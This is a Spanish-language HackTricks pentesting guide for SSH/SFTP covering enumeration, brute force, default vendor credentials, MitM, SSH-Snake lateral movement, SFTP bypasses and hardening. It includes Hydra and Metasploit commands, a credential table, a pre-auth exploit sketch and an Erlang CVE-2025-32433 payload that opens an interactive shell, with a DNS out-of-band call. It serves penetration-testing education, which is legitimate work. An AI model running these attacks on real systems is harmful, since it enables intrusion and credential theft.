# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## Información básica **SSH (Secure Shell or Secure Socket Shell)** es un protocolo de red que permite una conexión segura a un equipo a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos. **Puerto por defecto:** 22 ``` 22/tcp open ssh syn-ack ``` **Servidores SSH:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, incluido en BSD, distribuciones de Linux y Windows desde Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implementación de SSH para entornos con recursos limitados de memoria y procesador, incluido en OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Implementación de SSH para Windows; el cliente se usa comúnmente, pero el uso del servidor es más raro - [CopSSH](https://www.itefix.net/copssh) – implementación de OpenSSH para Windows **Librerías SSH (implementación del lado del servidor):** - [libssh](https://www.libssh.org) – Biblioteca C multiplataforma que implementa el protocolo SSHv2 con bindings en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); se usa en KDE para sftp y por GitHub para la infraestructura git sobre SSH - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – Biblioteca de servidor SSHv2 escrita en ANSI C y orientada a entornos embebidos, RTOS y con recursos limitados - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – La biblioteca Java Apache SSHD está basada en Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Biblioteca Python del protocolo SSHv2 ## Enumeración ### Banner Grabbing ```bash nc -vn 22 ``` ### ssh-audit automatizado ssh-audit es una herramienta para auditar la configuración de servidores y clientes ssh. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) es un fork actualizado de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Características:** - Soporte de servidor para los protocolos SSH1 y SSH2; - analizar la configuración de clientes SSH; - capturar banner, reconocer dispositivo o software y sistema operativo, detectar compresión; - recopilar algoritmos de key-exchange, host-key, encryption y message authentication code; - mostrar información de algoritmos (available since, removed/disabled, unsafe/weak/legacy, etc); - proporcionar recomendaciones de algoritmos (append or remove based on recognized software version); - mostrar información de seguridad (related issues, assigned CVE list, etc); - analizar la compatibilidad de versiones SSH basándose en la información de algoritmos; - información histórica de OpenSSH, Dropbear SSH y libssh; - funciona en Linux y Windows; - sin dependencias ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Clave pública SSH del servidor ```bash ssh-keyscan -t rsa -p ``` ### Algoritmos de cifrado débiles Esto se detecta por defecto con **nmap**. Pero también puedes usar **sslcan** o **sslyze**. ### Nmap scripts ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## Fuerza bruta de nombres de usuario, contraseñas y claves privadas ### Enumeración de usuarios En algunas versiones de OpenSSH se puede realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotarlo: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [Brute force](../generic-hacking/brute-force.md#ssh) Algunas credenciales ssh comunes [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y más abajo. ### Private Key Brute Force Si conoces algunas claves privadas ssh que podrían usarse... probémoslo. Puedes usar el nmap script: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` O el MSF auxiliary module: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` O usa `ssh-keybrute.py` (nativo en python3, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Se pueden encontrar badkeys conocidas aquí: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### Weak SSH keys / Debian predictable PRNG Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser vulnerable a fuerza bruta. Conjuntos de claves pre-generadas procedentes de sistemas Debian afectados por PRNG débil están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Deberías revisar aquí para buscar claves válidas para la máquina víctima. ### Kerberos / GSSAPI SSO Si el servidor SSH objetivo soporta GSSAPI (por ejemplo Windows OpenSSH en un controlador de dominio), puedes autenticarte usando tu Kerberos TGT en lugar de una contraseña. Flujo de trabajo desde un host atacante Linux: ```bash # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW sudo ntpdate # 2) Generate a krb5.conf for the target realm (optional, but handy) netexec smb -u -p '' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # 3) Obtain a TGT for the user kinit klist # 4) SSH with GSSAPI, using the FQDN that matches the host SPN ssh -o GSSAPIAuthentication=yes @ ``` Notes: - Si te conectas al nombre equivocado (p. ej., host corto, alias o orden incorrecta en `/etc/hosts`), puedes obtener: "Server not found in Kerberos database" porque el SPN no coincide. - `crackmapexec ssh --kerberos` también puede usar tu ccache para autenticación Kerberos. ## Credenciales predeterminadas | **Proveedor** | **Nombres de usuario** | **Contraseñas** | | ------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM Si estás en la red local junto con la víctima que se va a conectar al servidor SSH usando usuario y contraseña, puedes intentar **realizar un ataque MitM para robar esas credenciales:** **Ruta del ataque:** - **Redirección de tráfico:** El atacante **desvía** el tráfico de la víctima hacia su máquina, interceptando efectivamente el intento de conexión al servidor SSH. - **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** las credenciales de login del usuario haciéndose pasar por el servidor SSH legítimo. - **Ejecución y retransmisión de comandos:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenvía los comandos** al servidor SSH real, los **ejecuta** y **devuelve los resultados** al usuario, haciendo que el proceso parezca fluido y legítimo. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo descrito arriba. Para realizar el MitM real puedes usar técnicas como ARP spoofing, DNS spoofin u otras descritas en la [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake Si quieres atravesar una red usando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada de cada sistema para nuevos hosts, entonces [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) es lo que necesitas. SSH-Snake realiza las siguientes tareas de forma automática y recursiva: 1. En el sistema actual, buscar cualquier clave privada SSH, 2. En el sistema actual, buscar hosts o destinos (user@host) donde puedan aceptarse las claves privadas, 3. Intentar SSH a todos los destinos usando todas las claves privadas descubiertas, 4. Si un destino se conecta con éxito, repetir los pasos 1-4 en el sistema al que se ha conectado. Es completamente autorreplicante y autopropagable — y totalmente fileless. ## Errores de configuración ### Inicio de sesión root Es común que los servidores SSH permitan el inicio de sesión del usuario root por defecto, lo que representa un riesgo importante de seguridad. **Deshabilitar el inicio de sesión root** es un paso crítico para asegurar el servidor. El acceso no autorizado con privilegios administrativos y los ataques de fuerza bruta pueden mitigarse haciendo este cambio. **Para deshabilitar el inicio de sesión root en OpenSSH:** 1. **Editar el archivo de configuración de SSH** con: `sudoedit /etc/ssh/sshd_config` 2. **Cambiar la configuración** de `#PermitRootLogin yes` a **`PermitRootLogin no`**. 3. **Recargar la configuración** usando: `sudo systemctl daemon-reload` 4. **Reiniciar el servidor SSH** para aplicar los cambios: `sudo systemctl restart sshd` ### SFTP Brute Force - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) ### Ejecución de comandos vía SFTP Existe una omisión común en configuraciones SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar acceso a shell remoto. A pesar de asignar a los usuarios shells no interactivos (p. ej., `/usr/bin/nologin`) y confinarlos a un directorio específico, queda una vulnerabilidad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactivo designado tome control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas. [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` Aquí hay un ejemplo de configuración segura de SFTP (`/etc/ssh/sshd_config` – openSSH) para el usuario `noraj`: ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` Esta configuración permitirá solo SFTP: deshabilitando el acceso a shell forzando el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de port forwarding o tunneling. ### SFTP Tunneling Si tienes acceso a un servidor SFTP, también puedes redirigir tu tráfico a través de este mediante tunneling, por ejemplo usando el común port forwarding: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink El **sftp** tiene el comando "**symlink**". Por lo tanto, si tienes **writable rights** en alguna carpeta, puedes crear **symlinks** de **other folders/files**. Como probablemente estés **trapped** dentro de un chroot, esto **won't be specially useful** para ti, pero, si puedes **access** el **symlink** creado desde un **no-chroot** **service** (por ejemplo, si puedes acceder al symlink desde la web), podrías **open the symlinked files through the web**. Por ejemplo, para crear un **symlink** desde un nuevo archivo **"**_**froot**_**" a "**_**/**_**"**: ```bash sftp> symlink / froot ``` Si puedes acceder al archivo "_froot_" vía web, podrás listar la carpeta raíz ("/") del sistema. ### Métodos de autenticación En entornos de alta seguridad es una práctica habitual habilitar solo la autenticación basada en clave o la autenticación de dos factores en lugar de la autenticación simple basada en contraseña. Pero a menudo los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como método por defecto pero sin desactivar `password`. Así, usando el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` Por ejemplo, si se establece un límite de fallos de autenticación y nunca tienes la oportunidad de llegar al método password, puedes usar la opción `PreferredAuthentications` para forzar el uso de este método. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` Revisar la configuración del servidor SSH es necesario para comprobar que solo se autoricen los métodos esperados. Utilizar el verbose mode en el client puede ayudar a observar la efectividad de la configuración. ### Archivos de configuración ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## Authentication State-Machine Bypass (Pre-Auth RCE) Varias implementaciones de servidores SSH contienen fallos lógicos en la **máquina de estados finita de autenticación** que permiten a un cliente enviar mensajes de *connection-protocol* **antes** de que la autenticación haya finalizado. Debido a que el servidor no verifica que se encuentra en el estado correcto, esos mensajes se manejan como si el usuario estuviera completamente autenticado, lo que conduce a **ejecución de código no autenticada** o a la creación de una sesión. A nivel de protocolo, cualquier mensaje SSH con un _message code_ **≥ 80** (0x50) pertenece a la capa *connection* (RFC 4254) y debe **aceptarse únicamente después de una autenticación exitosa** (RFC 4252). Si el servidor procesa uno de esos mensajes mientras todavía está en el estado *SSH_AUTHENTICATION*, el atacante puede crear inmediatamente un channel y solicitar acciones como command execution, port-forwarding, etc. ### Pasos genéricos de explotación 1. Establecer una conexión TCP al puerto SSH del objetivo (comúnmente 22, pero otros servicios pueden exponer Erlang/OTP en 2022, 830, 2222…). 2. Construir un paquete SSH bruto: * 4 bytes **packet_length** (big-endian) * 1 byte **message_code** ≥ 80 (p. ej. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * Payload que sea entendido por el tipo de mensaje elegido 3. Enviar el/los paquete(s) **antes de completar cualquier paso de autenticación**. 4. Interactuar con las APIs del servidor que ahora están expuestas _pre-auth_ (command execution, port-forwarding, acceso al sistema de archivos, …). Esquema de prueba de concepto en Python: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` En la práctica deberás realizar (o omitir) el intercambio de claves según la implementación del objetivo, pero **nunca se realiza autenticación**. --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **Versiones afectadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Causa raíz:** el daemon SSH nativo de Erlang no valida el estado actual antes de invocar `ssh_connection:handle_msg/2`. Por lo tanto, cualquier paquete con un código de mensaje 80-255 llega al manejador de conexión mientras la sesión sigue en el estado *userauth*. * **Impacto:** ejecución remota de código no autenticada (**remote code execution**) (el daemon normalmente se ejecuta como **root** en dispositivos embedded/OT). Ejemplo de payload que lanza un reverse shell vinculado al canal controlado por el atacante: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` Blind RCE / out-of-band detection se puede realizar mediante DNS: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` Detección y mitigación: * Inspeccionar SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**. * Actualizar Erlang/OTP a **27.3.3 / 26.2.5.11 / 25.3.2.20** o superior. * Restringir la exposición de los puertos de gestión (22/2022/830/2222) – especialmente en equipos OT. --- ### Otras implementaciones afectadas * **libssh** 0.6 – 0.8 (lado del servidor) – **CVE-2018-10933** – acepta un `SSH_MSG_USERAUTH_SUCCESS` no autenticado enviado por el cliente, efectivamente la falla lógica inversa. La lección común es que cualquier desviación de las transiciones de estado exigidas por la RFC puede ser fatal; al revisar o hacer fuzzing de los daemons SSH, preste especial atención a *state-machine enforcement*. ## Referencias - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) - [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md) - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) ## HackTricks Comandos automáticos ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}